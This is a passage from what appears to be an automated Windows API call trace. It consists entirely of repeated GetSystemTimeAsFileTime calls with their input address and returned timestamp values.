lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.251] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.251] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.251] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.251] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.251] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.251] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.251] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.251] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.251] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.251] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.251] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.251] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.251] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.251] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.251] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.251] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.251] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.251] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.251] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.251] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.251] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.251] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.251] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.251] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.251] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.251] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.251] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.251] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.252] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.252] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.252] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.252] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.252] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.252] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.252] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.252] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.252] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.252] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.252] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.252] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.252] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c2010, dwHighDateTime=0x1d595b2)) [0141.252] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c2010, dwHighDateTime=0x1d595b2)) [0141.252] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c2010, dwHighDateTime=0x1d595b2)) [0141.252] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c2010, dwHighDateTime=0x1d595b2)) [0141.252] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c2010, dwHighDateTime=0x1d595b2)) [0141.252] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c2010, dwHighDateTime=0x1d595b2)) [0141.252] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c2010, dwHighDateTime=0x1d595b2)) [0141.252] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c2010, dwHighDateTime=0x1d595b2)) [0141.252] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c2010, dwHighDateTime=0x1d595b2)) [0141.252] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c2010, dwHighDateTime=0x1d595b2)) [0141.252] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c2010, dwHighDateTime=0x1d595b2)) [0141.252] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c2010, dwHighDateTime=0x1d595b2)) [0141.252] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c2010, dwHighDateTime=0x1d595b2)) [0141.252] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c4720, dwHighDateTime=0x1d595b2)) [0141.252] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c4720, dwHighDateTime=0x1d595b2)) [0141.253] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c4720, dwHighDateTime=0x1d595b2)) [0141.253] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c4720, dwHighDateTime=0x1d595b2)) [0141.253] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c4720, dwHighDateTime=0x1d595b2)) [0141.253] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c4720, dwHighDateTime=0x1d595b2)) [0141.253] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c4720, dwHighDateTime=0x1d595b2)) [0141.253] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c4720, dwHighDateTime=0x1d595b2)) [0141.253] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c4720, dwHighDateTime=0x1d595b2)) [0141.253] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c4720, dwHighDateTime=0x1d595b2)) [0141.253] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c4720, dwHighDateTime=0x1d595b2)) [0141.253] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c4720, dwHighDateTime=0x1d595b2)) [0141.253] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c4720, dwHighDateTime=0x1d595b2)) [0141.253] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c4720, dwHighDateTime=0x1d595b2)) [0141.253] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c4720, dwHighDateTime=0x1d595b2)) [0141.253] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c4720, dwHighDateTime=0x1d595b2)) [0141.253] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c4720, dwHighDateTime=0x1d595b2)) [0141.253] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c4720, dwHighDateTime=0x1d595b2)) [0141.253] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c4720, dwHighDateTime=0x1d595b2)) [0141.253] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c4720, dwHighDateTime=0x1d595b2)) [0141.253] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c4720, dwHighDateTime=0x1d595b2)) [0141.253] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c4720, dwHighDateTime=0x1d595b2)) [0141.253] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c4720, dwHighDateTime=0x1d595b2)) [0141.253] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c4720, dwHighDateTime=0x1d595b2)) [0141.253] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c4720, dwHighDateTime=0x1d595b2)) [0141.253] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c4720, dwHighDateTime=0x1d595b2)) [0141.253] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c4720, dwHighDateTime=0x1d595b2)) [0141.253] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c6e30, dwHighDateTime=0x1d595b2)) [0141.253] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c6e30, dwHighDateTime=0x1d595b2)) [0141.253] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c6e30, dwHighDateTime=0x1d595b2)) [0141.254] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c6e30, dwHighDateTime=0x1d595b2)) [0141.254] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c6e30, dwHighDateTime=0x1d595b2)) [0141.254] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c6e30, dwHighDateTime=0x1d595b2)) [0141.254] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c6e30, dwHighDateTime=0x1d595b2)) [0141.254] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c6e30, dwHighDateTime=0x1d595b2)) [0141.254] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c6e30, dwHighDateTime=0x1d595b2)) [0141.254] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c6e30, dwHighDateTime=0x1d595b2)) [0141.254] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c6e30, dwHighDateTime=0x1d595b2)) [0141.254] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c6e30, dwHighDateTime=0x1d595b2)) [0141.254] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c6e30, dwHighDateTime=0x1d595b2)) [0141.254] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c6e30, dwHighDateTime=0x1d595b2)) [0141.254] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c6e30, dwHighDateTime=0x1d595b2)) [0141.254] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c6e30, dwHighDateTime=0x1d595b2)) [0141.254] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c6e30, dwHighDateTime=0x1d595b2)) [0141.254] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c6e30, dwHighDateTime=0x1d595b2)) [0141.254] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c6e30, dwHighDateTime=0x1d595b2)) [0141.254] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c6e30, dwHighDateTime=0x1d595b2)) [0141.254] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c6e30, dwHighDateTime=0x1d595b2)) [0141.254] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c6e30, dwHighDateTime=0x1d595b2)) [0141.254] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c6e30, dwHighDateTime=0x1d595b2)) [0141.254] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c6e30, dwHighDateTime=0x1d595b2)) [0141.254] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c6e30, dwHighDateTime=0x1d595b2)) [0141.254] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c6e30, dwHighDateTime=0x1d595b2)) [0141.254] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c6e30, dwHighDateTime=0x1d595b2)) [0141.254] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c6e30, dwHighDateTime=0x1d595b2)) [0141.254] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c9540, dwHighDateTime=0x1d595b2)) [0141.254] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c9540, dwHighDateTime=0x1d595b2)) [0141.254] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c9540, dwHighDateTime=0x1d595b2)) [0141.255] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c9540, dwHighDateTime=0x1d595b2)) [0141.255] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c9540, dwHighDateTime=0x1d595b2)) [0141.255] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c9540, dwHighDateTime=0x1d595b2)) [0141.255] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c9540, dwHighDateTime=0x1d595b2)) [0141.255] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c9540, dwHighDateTime=0x1d595b2)) [0141.255] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c9540, dwHighDateTime=0x1d595b2)) [0141.255] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c9540, dwHighDateTime=0x1d595b2)) [0141.255] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c9540, dwHighDateTime=0x1d595b2)) [0141.255] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c9540, dwHighDateTime=0x1d595b2)) [0141.255] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c9540, dwHighDateTime=0x1d595b2)) [0141.255] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c9540, dwHighDateTime=0x1d595b2)) [0141.255] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c9540, dwHighDateTime=0x1d595b2)) [0141.255] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c9540, dwHighDateTime=0x1d595b2)) [0141.255] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c9540, dwHighDateTime=0x1d595b2)) [0141.255] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c9540, dwHighDateTime=0x1d595b2)) [0141.255] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c9540, dwHighDateTime=0x1d595b2)) [0141.255] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c9540, dwHighDateTime=0x1d595b2)) [0141.255] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c9540, dwHighDateTime=0x1d595b2)) [0141.255] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c9540, dwHighDateTime=0x1d595b2)) [0141.255] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c9540, dwHighDateTime=0x1d595b2)) [0141.255] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c9540, dwHighDateTime=0x1d595b2)) [0141.255] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c9540, dwHighDateTime=0x1d595b2)) [0141.255] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c9540, dwHighDateTime=0x1d595b2)) [0141.255] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c9540, dwHighDateTime=0x1d595b2)) [0141.255] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83c9540, dwHighDateTime=0x1d595b2)) [0141.255] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83cbc50, dwHighDateTime=0x1d595b2)) [0141.255] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83cbc50, dwHighDateTime=0x1d595b2)) [0141.255] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83cbc50, dwHighDateTime=0x1d595b2)) [0141.256] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83cbc50, dwHighDateTime=0x1d595b2)) [0141.256] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: 